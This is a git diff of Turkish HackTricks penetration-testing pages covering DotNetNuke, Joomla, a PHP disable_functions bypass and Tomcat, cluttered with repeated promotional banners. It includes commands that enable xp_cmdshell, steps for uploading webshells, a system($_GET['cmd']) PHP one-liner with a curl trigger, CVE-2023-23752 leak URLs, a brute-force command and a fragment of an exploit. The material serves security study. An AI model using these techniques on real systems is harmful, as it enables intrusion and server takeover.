AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Firebase Nedir
Firebase, çoğunlukla mobil uygulamalar için bir Backend-as-a-Service'tir. Arka uç programlamasının yükünü kaldırmaya odaklanmış olup, güzel bir SDK sağlayarak uygulama ile arka uç arasındaki etkileşimi kolaylaştıran birçok ilginç özellik sunar.
Firebase, esasen mobil uygulamalar için bir Backend-as-a-Service'dir. Uygulama ile arka uç arasındaki etkileşimi kolaylaştıran güzel bir SDK ve birçok ilginç şey sunarak arka uç programlamanın yükünü kaldırmaya odaklanmıştır.
Firebase hakkında daha fazla bilgi edinin:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# DotNetNuke (DNN)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## DotNetNuke (DNN)
@ -18,43 +21,46 @@ DNN'ye **yönetici** olarak girdiğinizde RCE elde etmek kolaydır.
## RCE
### SQL ile
### SQL Üzerinden
**`Ayarlar`** sayfası altında erişilebilir bir SQL konsolu bulunur ve buradan **`xp_cmdshell`**'i etkinleştirebilir ve **işletim sistemi komutları çalıştırabilirsiniz**.
**`Settings`** sayfasında **`xp_cmdshell`**'i etkinleştirebileceğiniz ve **işletim sistemi komutlarını çalıştırabileceğiniz** bir SQL konsolu mevcuttur.
**`xp_cmdshell`'i etkinleştirmek için** bu satırları kullanın:
**`xp_cmdshell`**'i etkinleştirmek için bu satırları kullanın:
```sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
```
Ve o SQL ifadelerini çalıştırmak için **"Scripti Çalıştır"** düğmesine basın.
Ve o sQL cümlelerini çalıştırmak için **"Run Script"** butonuna basın.
Ardından, aşağıdakine benzer bir şey kullanarak işletim sistemi komutlarını çalıştırın:
Ardından, OS komutlarını çalıştırmak için aşağıdakine benzer bir şey kullanın:
```sql
xp_cmdshell 'whoami'
```
### ASP webshell ile
### ASP webshell aracılığıyla
`Ayarlar -> Güvenlik -> Daha Fazla -> Daha Fazla Güvenlik Ayarları` bölümünde `İzin Verilen Dosya Uzantıları` altında **yeni izin verilen uzantılar ekleyebilirsiniz** ve ardından `Kaydet` düğmesine tıklayabilirsiniz.
`Settings -> Security -> More -> More Security Settings` altında `Allowable File Extensions` kısmında **yeni izin verilen uzantılar ekleyebilirsiniz** ve ardından `Save` butonuna tıklayabilirsiniz.
**`asp`** veya **`aspx`** ekleyin ve ardından örneğin `shell.asp` adında bir **asp webshell**'i **`/admin/file-management`** bölümüne yükleyin.
**`asp`** veya **`aspx`** ekleyin ve ardından **`/admin/file-management`** altında örneğin **`shell.asp`** adında bir **asp webshell** yükleyin.
Ardından **`/Portals/0/shell.asp`** adresine erişerek webshell'e erişebilirsiniz.
Sonra **`/Portals/0/shell.asp`** adresine erişerek webshell'inize ulaşın.
### Yetki Yükseltme
Örneğin **Potatoes** veya **PrintSpoofer** kullanarak **yetkileri yükseltebilirsiniz**.&#x20;
Örneğin **Potatoes** veya **PrintSpoofer** kullanarak **yetki yükseltebilirsiniz**.&#x20;
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# Joomla
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** üzerinden PR gönderin.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
### Joomla İstatistikleri
Joomla, Joomla kurulumlarında kullanılan Joomla, PHP ve veritabanı sürümlerinin ve sunucu işletim sistemlerinin ayrıntılı istatistiklerini toplar. Bu veriler, genel [API](https://developer.joomla.org/about/stats/api.html)leri üzerinden sorgulanabilir.
Joomla, Joomla kurulumlarında kullanılan Joomla, PHP ve veritabanı sürümleri ile sunucu işletim sistemlerinin dağılımı gibi bazı anonim [kullanım istatistiklerini](https://developer.joomla.org/about/stats.html) toplar. Bu veriler, kamuya açık [API'leri](https://developer.joomla.org/about/stats/api.html) aracılığıyla sorgulanabilir.
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
@ -42,11 +45,11 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
}
}
```
## Numaralandırma
## Enumeration
### Keşif/Ayak İzi
### Discovery/Footprinting
* **meta** etiketlerini kontrol edin
* **meta**'yı kontrol et
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
@ -63,42 +66,6 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
[...]
```
* README.txt
---
## Joomla
### Joomla Version Identification
Joomla version can be identified by checking the following files:
- `administrator/manifests/files/joomla.xml`
- `libraries/joomla/version.php`
- `libraries/src/Version.php`
### Joomla Vulnerability Scanning
1. Use tools like JoomScan to scan for vulnerabilities in Joomla websites.
2. Manually check for common vulnerabilities like SQL injection, XSS, and CSRF.
### Exploiting Joomla Vulnerabilities
1. Exploit vulnerabilities like SQL injection by manipulating input fields.
2. Exploit XSS vulnerabilities by injecting malicious scripts into web pages.
3. Exploit CSRF vulnerabilities by tricking users into performing unintended actions.
### Joomla Password Cracking
1. Use tools like Hashcat to crack Joomla password hashes.
2. Utilize password dictionaries and brute force attacks to crack weak passwords.
### Joomla Security Best Practices
1. Keep Joomla and its extensions up to date to patch known vulnerabilities.
2. Use strong and unique passwords for Joomla admin accounts.
3. Implement security extensions like firewall plugins to enhance Joomla security.
---
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
@ -106,26 +73,31 @@ Joomla version can be identified by checking the following files:
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Sürüm
### Versiyon
* **/administrator/manifests/files/joomla.xml** dosyasında sürümü görebilirsiniz.
* **/language/en-GB/en-GB.xml** dosyasında Joomla'nın sürümünü alabilirsiniz.
* **plugins/system/cache/cache.xml** dosyasında yaklaşık bir sürümü görebilirsiniz.
* **/administrator/manifests/files/joomla.xml** dosyasında versiyonu görebilirsiniz.
* **/language/en-GB/en-GB.xml** dosyasında Joomla'nın versiyonunu alabilirsiniz.
* **plugins/system/cache/cache.xml** dosyasında yaklaşık bir versiyonu görebilirsiniz.
### Otomatik
```bash
droopescan scan joomla --url http://joomla-site.local/
```
### API Kimlik Doğrulaması Yapılmamış Bilgi Sızdırma:
4.0.0 ile 4.2.7 sürümleri, Kimlik doğrulaması yapılmamış bilgi sızdırma (CVE-2023-23752) açığına sahiptir ve kimlik bilgilerini ve diğer bilgileri sızdıracaktır.
In[ **80,443 - Pentesting Web Methodology, Joomla'yı tarayabilen CMS tarayıcıları hakkında bir bölümdür**](./#cms-scanners).
### API Kimlik Doğrulaması Olmadan Bilgi Sızdırma:
4.0.0 ile 4.2.7 arasındaki sürümler, kimlik doğrulaması olmadan bilgi sızdırma (CVE-2023-23752) açığına sahiptir ve bu, kimlik bilgilerini ve diğer bilgileri dökebilir.
* Kullanıcılar: `http://<host>/api/v1/users?public=true`
* Yapılandırma Dosyası: `http://<host>/api/index.php/v1/config/application?public=true`
* Konfigürasyon Dosyası: `http://<host>/api/index.php/v1/config/application?public=true`
**MSF Modülü**: `scanner/http/joomla_api_improper_access_checks` veya ruby script: [51334](https://www.exploit-db.com/exploits/51334)
### Kaba Kuvvet Saldırısı
### Kaba Kuvvet
Giriş yapmak için bu [script'i](https://github.com/ajnik/joomla-bruteforce) kullanabilirsiniz.
Giriş bilgilerini kaba kuvvetle denemek için bu [script](https://github.com/ajnik/joomla-bruteforce)'i kullanabilirsiniz.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
@ -133,13 +105,26 @@ admin:admin
```
## RCE
Eğer **yönetici kimlik bilgilerine** sahip olduysanız, **RCE içine girebilirsiniz** ve **RCE** elde etmek için bir **PHP kodu parçası ekleyebilirsiniz**. Bunun için bir **şablonu özelleştirerek** yapabiliriz.
Eğer **admin kimlik bilgilerini** elde etmeyi başardıysanız, **RCE elde etmek için** içine bir **PHP kodu** parçası ekleyerek **RCE** yapabilirsiniz. Bunu **şablonu özelleştirerek** yapabiliriz.
1. `Yapılandırma` altında alt sol köşede **`Şablonlar`** üzerine **tıklayın** ve şablonlar menüsünü açın.
2. Bir **şablon adına tıklayın**. `Şablon` sütunu başlığı altında **`protostar`**'ı seçelim. Bu bizi **`Şablonlar: Özelleştir`** sayfasına götürecektir.
3. Son olarak, **sayfa kaynağını açmak için** bir sayfaya tıklayabilirsiniz. **`error.php`** sayfasını seçelim. Aşağıdaki gibi **kod yürütme elde etmek için PHP tek satırlık bir kod ekleyeceğiz**:
```php
system($_GET['cmd']);
```
1. **Aşağıda `Configuration` altında** **`Templates`** üzerine **tıklayın** ve şablonlar menüsünü açın.
2. Bir **şablon** adına **tıklayın**. `Template` sütun başlığı altında **`protostar`**'ı seçelim. Bu, bizi **`Templates: Customise`** sayfasına götürecek.
3. Son olarak, **sayfa kaynağını** açmak için bir sayfaya tıklayabilirsiniz. **`error.php`** sayfasını seçelim. **Kod yürütmek için bir PHP tek satır ekleyeceğiz**:
1. **`system($_GET['cmd']);`**
4. **Kaydet ve Kapat**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# disable\_functions geçişi - PHP 7.0-7.4 (\*nix sadece)
# disable\_functions bypass - PHP 7.0-7.4 (\*nix only)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## PHP 7.0-7.4 (\*nix sadece)
## PHP 7.0-7.4 (\*nix only)
[https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php)'den alınmıştır.
[https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php) adresinden
```php
<?php
@ -235,14 +238,17 @@ write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
exit();
}
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Temel Tomcat Bilgisi
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya katkıda bulunun**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Try Hard Güvenlik Grubu**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -20,9 +23,9 @@
***
### Root ile Çalıştırmaktan Kının
### Root ile çalışmaktan kının
Tomcat'ı root olarak çalıştırmamak için çok yaygın bir yapılandırma, 80/443 portlarında bir Apache sunucusu ayarlamak ve istenen yol bir regex ile eşleşirse, istek farklı bir portta çalışan Tomcat'a gönderilir.
